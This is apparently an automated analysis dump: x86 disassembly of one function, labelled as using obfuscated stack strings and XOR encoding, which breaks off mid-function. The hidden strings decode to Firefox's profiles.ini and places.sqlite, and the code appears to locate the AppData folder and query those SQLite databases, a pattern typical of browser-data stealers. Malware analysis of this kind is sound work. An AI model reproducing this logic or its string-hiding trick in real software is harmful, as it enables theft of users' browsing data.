Function at 0x725886
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406167
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1500
push ebx
call fcn.007cb7f0
push esi
mov esi, ecx
mov dword [ebp - 0xf8], esi
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00755350
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x18], 1
mov eax, esp
lea ecx, [ebp - 0x98]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00751790
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x426730]
movups xmmword [ebp - 0xf0], xmm0
mov word [ebp - 0xe0], 0x100
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0xf0], al
inc ecx
cmp ecx, 0x10
jb 0x7258f3
lea eax, [ebp - 0xf0]
mov byte [ebp - 0xdf], 0
push eax
mov ecx, esi
call fcn.00757a00
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0x98]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
mov byte [ebp - 0x98], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x98]
mov dword [edi + 8], eax
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], esi
call fcn.007513f0
push 0x104
lea eax, [ebp - 0x510]
push 0
push eax
call fcn.007cca70
add esp, 0xc
lea eax, [ebp - 0x510]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0x40c2e0]
lea ecx, [ebp - 0x510]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725991
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x726d7f
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x510]
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1f4]
call fcn.0075b300
mov dword [ebp - 0x18], 0x101
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x54], 0x756b684b
mov dword [ebp - 0x50], 0x7b71757d
mov dword [ebp - 0x4c], 0x4c480e6c
mov word [ebp - 0x48], 0x4a
mov byte [ebp - 0x46], 1
nop dword [eax]
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 0xd
jb 0x725a00
lea ecx, [ebp - 0x54]
mov byte [ebp - 0x46], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725a17
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1e4]
sub eax, edx
cmp eax, ecx
jb 0x726d84
cmp dword [ebp - 0x1e0], 0x10
lea eax, [ebp - 0x1f4]
push ecx
cmovae eax, dword [ebp - 0x1f4]
lea ecx, [ebp - 0x54]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x178]
call fcn.0075b300
mov esi, 0x181
mov dword [ebp - 0x18], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x178]
cmp dword [ebp - 0x164], 0x10
cmovae eax, dword [ebp - 0x178]
push eax
push 0x1000
lea eax, [ebp - 0x1510]
push eax
call dword [0x40c1fc]
lea edi, [ebp - 0x1510]
mov dword [ebp - 0xd4], edi
nop
mov dword [ebp - 0x67], 0x7c766a47
xor ecx, ecx
mov dword [ebp - 0x63], 0x787072
mov byte [ebp - 0x5f], 1
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 7
jb 0x725ab4
push 7
lea eax, [ebp - 0x67]
mov byte [ebp - 0x5f], 0
push eax
push edi
call fcn.007d806e
add esp, 0xc
test eax, eax
jne 0x726c8e
push 0x104
push eax
lea eax, [ebp - 0x408]
push eax
call fcn.007cca70
add esp, 0xc
mov dword [ebp - 0x36], 0x726d7947
cmp dword [ebp - 0x164], 0x10
lea edx, [ebp - 0x178]
mov word [ebp - 0x32], 0x100
cmovae edx, dword [ebp - 0x178]
xor ecx, ecx
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 4
jb 0x725b14
push edx
push 0x104
lea eax, [ebp - 0x408]
mov byte [ebp - 0x31], 0
push eax
push 0
lea eax, [ebp - 0x36]
push eax
push edi
call dword [0x40c11c]
lea ecx, [ebp - 0x3f]
mov word [ebp - 0x3f], 0x5c
mov byte [ebp - 0x3d], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725b50
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1e4]
sub eax, edx
cmp eax, ecx
jb 0x726d7f
cmp dword [ebp - 0x1e0], 0x10
lea eax, [ebp - 0x1f4]
push ecx
cmovae eax, dword [ebp - 0x1f4]
lea ecx, [ebp - 0x3f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb0]
call fcn.0075b300
or esi, 0x20
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xb0]
call fcn.00753660
or esi, 0x10
mov dword [ebp - 0x18], esi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x24c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x23c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x725c20
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x725c16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0xa0], 0
lea ecx, [ebp - 0x408]
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725c62
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.006f0c10
mov byte [ebp - 4], 9
lea edi, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
mov esi, dword [ebp - 0xb8]
cmovae edi, dword [ebp - 0xc8]
test esi, esi
je 0x725d8f
push esi
push 0x2f
push edi
call fcn.007ce260
add esp, 0xc
test eax, eax
je 0x725d8f
sub eax, edi
cmp eax, 0xffffffff
je 0x725d8f
sub esp, 0x18
mov word [ebp - 0x42], 0x2f
mov edx, esp
mov byte [ebp - 0x40], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], esp
lea ecx, [ebp - 0x42]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725cf0
sub ecx, esi
lea eax, [ebp - 0x42]
push ecx
push eax
mov ecx, edx
call fcn.006f0c10
sub esp, 0x18
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xc8]
mov ecx, esp
push eax
call fcn.00753950
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 9
call fcn.006fa350
add esp, 0x30
mov byte [ebp - 4], 0xb
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x230]
mov esi, dword [ebp - 0x234]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xc8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x725d7a
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x725d6d
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00753530
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 9
call fcn.00755b40
mov esi, dword [ebp - 0xb8]
cmp dword [ebp - 0xb4], 0x10
lea edi, [ebp - 0xc8]
cmovae edi, dword [ebp - 0xc8]
test esi, esi
je 0x725e83
push esi
push 0x5c
push edi
call fcn.007ce260
add esp, 0xc
test eax, eax
je 0x725e83
sub eax, edi
cmp eax, 0xffffffff
je 0x725e83
sub esp, 0x18
mov word [ebp - 0x30], 0x5c
mov edx, esp
mov byte [ebp - 0x2e], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], esp
lea ecx, [ebp - 0x30]
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725df6
sub ecx, esi
lea eax, [ebp - 0x30]
push ecx
push eax
mov ecx, edx
call fcn.006f0c10
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0xc8]
mov ecx, esp
push eax
call fcn.00753950
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 9
call fcn.006fa350
add esp, 0x30
mov byte [ebp - 4], 0xd
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x54]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xc8]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
lea eax, [eax - 3]
lea eax, [esi + eax*8]
cmp ecx, eax
je 0x725e77
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x725e6a
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00753530
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 9
call fcn.00755b40
mov dword [ebp - 0x84], 0x7b75684b
xor ecx, ecx
mov dword [ebp - 0x80], 0x306e7978
mov dword [ebp - 0x7c], 0x4b4d516c
mov dword [ebp - 0x78], 0x1004157
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 0xe
jb 0x725ea4
lea ecx, [ebp - 0x84]
mov byte [ebp - 0x75], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x725ec1
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x23c]
sub eax, edx
cmp eax, ecx
jb 0x726d7f
cmp dword [ebp - 0x238], 0x10
lea eax, [ebp - 0x24c]
push ecx
cmovae eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x84]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x160]
call fcn.0075b300
mov esi, dword [ebp - 0x18]
or esi, 8
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], 0x1007a65
xor ecx, ecx
nop
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 2
jb 0x725f20
cmp dword [ebp - 0x14c], 0x10
lea ecx, [ebp - 0x28]
lea eax, [ebp - 0x160]
mov byte [ebp - 0x25], 0
cmovae eax, dword [ebp - 0x160]
push ecx
push eax
call fcn.007d08e0
add esp, 8
test eax, eax
je 0x726b98
push eax
call fcn.007d4168
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x90]
push 0
mov byte [ebp - 0x98], 0
call fcn.00755350
sub esp, 8
mov byte [ebp - 4], 0x10
mov eax, esp
lea ecx, [ebp - 0x138]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00751790
add esp, 8
mov byte [ebp - 4], 0x11
mov al, byte [ebp - 0x98]
test al, al
jne 0x726017
push 8
mov byte [ebp - 0x98], 1
call fcn.007ca810
mov esi, eax
add esp, 4
lea eax, [ebp - 0xc9]
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.007ca810
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x90], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
jmp 0x726025
cmp al, 1
jne 0x726deb
mov esi, dword [ebp - 0x90]
lea eax, [ebp - 0xc8]
mov ecx, esi
push eax
call fcn.00755520
mov byte [ebp - 4], 0x10
mov edi, eax
mov cl, byte [ebp - 0x138]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x130]
mov byte [ebp - 0x138], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x138]
mov dword [edi + 8], eax
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x12c], esi
call fcn.007513f0
cmp dword [ebp - 0x14c], 0x10
lea ecx, [ebp - 0x160]
lea edx, [ebp - 0xd0]
cmovae ecx, dword [ebp - 0x160]
call fcn.00702460
test eax, eax
jne 0x726b3a
movaps xmm0, xmmword [0x425060]
xor ecx, ecx
movups xmmword [ebp - 0x1d9], xmm0
mov dword [ebp - 0x199], 0x67793833
movaps xmm0, xmmword [0x4264c0]
movups xmmword [ebp - 0x1c9], xmm0
mov dword [ebp - 0x195], 0x746d7b
movaps xmm0, xmmword [0x425220]
movups xmmword [ebp - 0x1b9], xmm0
mov byte [ebp - 0x191], 1
movaps xmm0, xmmword [0x425430]
movups xmmword [ebp - 0x1a9], xmm0
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x1d9], al
inc ecx
cmp ecx, 0x47
jb 0x7260f4
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0x24]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x1d9]
mov byte [ebp - 0x191], 0
call fcn.007b0190
add esp, 0x14
test eax, eax
jne 0x726b2f
mov esi, dword [ebp - 0x24]
mov ecx, esi
call fcn.0078cac0
cmp eax, 0x64
jne 0x726ab7
test esi, esi
je 0x726195
cmp dword [esi + 0x2c], 0
je 0x726170
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x726170
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x72616b
push eax
call dword [0x433d20]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x72619a
mov eax, dword [esi]
test eax, eax
je 0x726195
mov eax, dword [eax + 0x44]
test eax, eax
je 0x726187
push eax
call dword [0x433d20]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0077b480
add esp, 0xc
mov ecx, 0x41e4d8
mov dl, 1
call fcn.00789990
mov edi, eax
test esi, esi
je 0x726259
mov ecx, dword [esi + 0x64]
mov esi, dword [esi]
test esi, esi
je 0x7261e4
cmp byte [esi + 0x1e], 0
jne 0x7261c4
mov edx, esi
cmp ecx, 0xc0a
jne 0x7261df
push 0
push 7
push esi
call fcn.0077b480
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov edx, dword [eax]
mov eax, dword [esi + 0x18]
jmp 0x7261eb
mov eax, 0xff
mov edx, esi
mov esi, dword [ebp - 0x24]
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x726204
push eax
call dword [0x433d28]
add esp, 4
test esi, esi
je 0x726259
cmp dword [esi + 0x2c], 0
je 0x726234
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x726234
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x72622c
push eax
call dword [0x433d20]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x72625e
mov eax, dword [esi]
test eax, eax
je 0x726259
mov eax, dword [eax + 0x44]
test eax, eax
je 0x72624b
push eax
call dword [0x433d20]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0077b480
add esp, 0xc
mov ecx, 0x41e4d8
mov dl, 1
call fcn.00789990
mov dword [ebp - 0xd8], eax
test esi, esi
je 0x7262c8
mov ecx, dword [esi + 0x64]
mov esi, dword [esi]
test esi, esi
je 0x7262a8
cmp byte [esi + 0x1e], 0
jne 0x726288
mov eax, esi
cmp ecx, 0xc0a
jne 0x7262a3
push 0
push 7
push esi
call fcn.0077b480
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [eax]
mov edx, dword [esi + 0x18]
jmp 0x7262af
mov edx, 0xff
mov eax, esi
mov esi, dword [ebp - 0x24]
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x7262c8
push eax
call dword [0x433d28]
add esp, 4
mov ecx, edi
mov word [ebp - 0x74], 0x29
xorps xmm0, xmm0
mov byte [ebp - 0x72], 0
movups xmmword [ebp - 0x264], xmm0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x7262f5
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x264]
call fcn.006f0c10
mov byte [ebp - 4], 0x15
xor ecx, ecx
movaps xmm0, xmmword [0x424fd0]
movups xmmword [ebp - 0x1bb], xmm0
mov dword [ebp - 0x19b], 0x53591017
movaps xmm0, xmmword [0x426910]
movups xmmword [ebp - 0x1ab], xmm0
mov dword [ebp - 0x197], 0x31d5c5f
mov word [ebp - 0x193], 0x1f
mov byte [ebp - 0x191], 1
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x1bb], al
inc ecx
cmp ecx, 0x29
jb 0x726351
lea eax, [ebp - 0x264]
mov byte [ebp - 0x191], 0
push eax
lea edx, [ebp - 0x1bb]
lea ecx, [ebp - 0x190]
call fcn.007577b0
add esp, 4
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x16
push ecx
mov ecx, eax
call fcn.00753660
or dword [ebp - 0x18], 4
xorps xmm0, xmm0
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push 0
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x9c], 0x10
lea edx, [ebp - 0xb0]
mov ecx, dword [ebp - 0xd0]
cmovae edx, dword [ebp - 0xb0]
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.007b0190
add esp, 0x14
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x9c]
test eax, eax
sete byte [ebp - 0x11]
cmp ecx, 0x10
jb 0x726455
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x72644b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], 0
cmp ecx, 0x10
jb 0x7264ae
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x7264a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x250]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
cmp ecx, 0x10
jb 0x726507
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x7264fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x726aa7
mov edi, dword [ebp - 0xf4]
mov ecx, edi
call fcn.0078cac0
cmp eax, 0x64
jne 0x726aa7
test edi, edi
je 0x726576
cmp dword [edi + 0x2c], 0
je 0x726551
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x726551
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x72654c
push eax
call dword [0x433d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x72657b
mov eax, dword [edi]
test eax, eax
je 0x726576
mov eax, dword [eax + 0x44]
test eax, eax
je 0x726568
push eax
call dword [0x433d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0077b480
add esp, 0xc
mov ecx, 0x41e4d8
mov dl, 1
call fcn.00789990
mov dword [ebp - 0x20], eax
test edi, edi
je 0x7265dc
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x7265bf
cmp byte [esi + 0x1e], 0
jne 0x7265a2
mov edx, esi
cmp ecx, 0xc0a
jne 0x7265ba
push 0
push 7
push esi
call fcn.0077b480
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x7265c6
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x7265dc
push eax
call dword [0x433d28]
add esp, 4
mov esi, dword [ebp - 0xd8]
xorps xmm0, xmm0
mov ecx, esi
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x726605
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x110]
call fcn.006f0c10
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x5e], 0x7f757171
mov dword [ebp - 0x5a], 0x31323321
mov word [ebp - 0x56], 0x100
lea ecx, [eax + 0x17]
xor byte [ebp + eax - 0x5e], cl
inc eax
cmp eax, 8
jb 0x726635
lea edx, [ebp - 0x5e]
mov byte [ebp - 0x55], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x726650
mov esi, dword [ebp - 0x100]
lea eax, [ebp - 0x5e]
sub edx, ecx
cmp dword [ebp - 0xfc], 0x10
push edx
push eax
lea ecx, [ebp - 0x110]
mov edx, esi
cmovae ecx, dword [ebp - 0x110]
setae byte [ebp - 0x11]
push 0
call fcn.00758f30
add esp, 0xc
cmp eax, 0xffffffff
je 0x726776
mov dword [ebp - 0x71], 0x7f757171
xor ecx, ecx
mov dword [ebp - 0x6d], 0x31323321
mov word [ebp - 0x69], 0x100
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x71], al
inc ecx
cmp ecx, 8
jb 0x7266a7
lea edx, [ebp - 0x71]
mov byte [ebp - 0x68], 0
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x7266c0
sub edx, ecx
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x190], xmm0
cmp esi, edx
jb 0x726d8e
sub esi, edx
lea eax, [ebp - 0x110]
or ecx, 0xffffffff
cmp esi, 0xffffffff
cmovb ecx, esi
cmp byte [ebp - 0x11], 0
push ecx
cmovne eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x190]
add eax, edx
push eax
call fcn.006f0c10
or dword [ebp - 0x18], 2
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x726758
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x72674e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
movups xmm0, xmmword [ebp - 0x190]
movups xmmword [ebp - 0x110], xmm0
movq xmm0, qword [ebp - 0x180]
movq qword [ebp - 0x100], xmm0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x118]
push 0
mov byte [ebp - 0x120], 0
call fcn.00755350
mov byte [ebp - 4], 0x1a
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x140], xmm0
mov byte [ebp - 0x148], 3
call fcn.007ca810
mov esi, eax
add esp, 4
lea eax, [ebp - 0xca]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], esi
mov ecx, dword [ebp - 0x20]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x1b
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x7267e3
sub ecx, edx
push ecx
push dword [ebp - 0x20]
mov ecx, esi
call fcn.006f0c10
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x140], esi
mov byte [ebp - 4], 0x1c
xor ecx, ecx
mov dword [ebp - 0x2d], 0x756a62
mov byte [ebp - 0x29], 1
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 3
jb 0x726818
mov al, byte [ebp - 0x120]
mov byte [ebp - 0x29], 0
test al, al
jne 0x726861
push 1
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x120], 1
call fcn.00755350
mov esi, dword [ebp - 0x220]
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x114], eax
jmp 0x72686f
cmp al, 1
jne 0x726d93
mov esi, dword [ebp - 0x118]
xorps xmm0, xmm0
mov dword [ebp - 0x1fc], 0
lea edx, [ebp - 0x2d]
mov dword [ebp - 0x1f8], 0
movups xmmword [ebp - 0x20c], xmm0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x726893
sub edx, ecx
lea eax, [ebp - 0x2d]
push edx
push eax
lea ecx, [ebp - 0x20c]
call fcn.006f0c10
lea eax, [ebp - 0x20c]
mov byte [ebp - 4], 0x1d
push eax
mov ecx, esi
call fcn.0075aa80
mov byte [ebp - 4], 0x1c
mov esi, eax
mov ecx, dword [ebp - 0x1f8]
mov dword [ebp - 0x20], esi
cmp ecx, 0x10
jb 0x726901
mov edx, dword [ebp - 0x20c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x7268f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x726d89
push ecx
push edx
call fcn.007caa91
add esp, 8
mov edi, dword [ebp - 0x20]
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov esi, dword [ebp - 0x1c]
mov dword [edi + 8], esi
mov esi, edi
mov byte [ebp - 0x148], al
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], ecx
lea ecx, [ebp - 0x148]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x13c], edx
call fcn.007513f0
xorps xmm0, xmm0
mov byte [ebp - 0xf0], 3
push 0x18
movq qword [ebp - 0xe8], xmm0
call fcn.007ca810
mov esi, eax
add esp, 4
lea eax, [ebp - 0xcb]
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x20
push eax
mov ecx, esi
call fcn.00753950
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xe8], esi
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x21
xor ecx, ecx
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 0x3c], 0x726d7967
mov word [ebp - 0x38], 0x100
lea eax, [ecx + 0x17]
xor byte [ebp + ecx - 0x3c], al
inc ecx
cmp ecx, 4
jb 0x7269d3
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x37], 0
push eax
lea ecx, [ebp - 0x120]
call fcn.00757a00
mov byte [ebp - 4], 0x1a
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0xf0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], esi
mov esi, dword [ebp - 0x124]
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0xf0]
mov dword [eax + 0xc], esi
mov dword [ebp - 0xe4], edx
call fcn.007513f0
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x98]
call fcn.00751050
lea ecx, [ebp - 0x120]
push ecx
mov ecx, eax
call fcn.00750d70
lea ecx, [ebp - 0x120]
call fcn.007513f0
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
